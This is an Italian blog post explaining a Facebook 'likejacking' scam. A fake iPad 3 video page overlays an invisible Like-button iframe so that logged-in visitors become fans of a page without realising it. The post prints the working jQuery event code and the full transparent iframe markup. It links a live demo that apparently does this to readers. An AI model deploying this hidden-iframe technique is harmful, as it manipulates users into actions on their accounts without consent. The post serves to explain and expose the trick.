Facebook ed i fans nascosti del pulsante mi piace

Posted on aprile 17, 2011
Filed Under Appunti di Php | Leave a Comment

Immaginiamo di venire invitati da un nostro collega o amico tramite mail a scoprire le miracolose novita’ che troveremo nell’IPAD 3 in un video presente a questo indirizzo:
http://www.freescriptphp.com/wp-content/uploads/autoLike/autolike.html

Sembra proprio che questo video voglia partire solo se loggati a Facebook, bah…logghiamoci! No, decisamente il video non funziona, ma d’altronde questo IPAD 3 e’ ancora un mistero. Cosa e’ successo nel frattempo ?
Siamo semplicemente diventati fan senza nemmeno accorgercene di:
http://www.facebook.com/it.agriturismo

Subdolo ma efficace! Vediamo di capire il funzionamento dello script.

Il tutto e’ basato principalmente su 2 Javascript:
- src/confg.js che comprende il path dell’indirizzo Facebook dove far diventare fan gli utenti
- src/like.js aggiunge l’iframe necessario all’evento di iscrizione all’evento indicato nel file di configurazione.

Nella pagina HTML appositamente create troveremo la classica intestazione per le FMBL
<html xmlns:fb=”http://www.facebook.com/2008/fbml” xmlns:og=”http://opengraphprotocol.org/schema/” xmlns=”http://www.w3.org/1999/xhtml”>

ed il richiamo alle jquery per poter eseguire l’evento scatenato al click e’ presente uno script che completa l’iscrizione alla pagina:

$(document).ready(function() {
	FB.init({appId: '<APPID>', status: true, cookie: true, xfbml: true});
	FB.Event.subscribe('edge.create', function(href, widget) {
		$('#player').show();
		$('#facebook').hide();
		setCookie('7','1' , 1);
	});
	if(getCookie('7') == 1) {
		$('#player').show();
		$('#facebook').hide();
	}
});

In fase di avvio viene inserito in pagina un iframe che al click fara’ iscrivere l’utente al link da noi inserito nel file di  configurazione:

<iframe id=”theiframe” allowtransparency=”true” src=”http://www.facebook.com/widgets/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fit.agriturismo&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80″ style=”position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:0;filter:alpha(opacity=0);”></iframe>

Oltre ad inizializzare l’applicazione con un proprio <APPID>, viene “invitato” l’utente ad iscriversi al link una volta cliccato sulla pagina grazie alla FB.Event.Subscribe.
Per maggiori info visita: http://developers.facebook.com/docs/reference/javascript/FB.Event.subscribe/

 

Lo scopo dell’articolo e’ puramente informativo.
Preghiamo gli utenti non interessati a diventare fan della pagina a disiscriversi dal comodo link sulla colonna sinistra con etichetta: “Non mi piace più“.

Others Script adv

Leave a Reply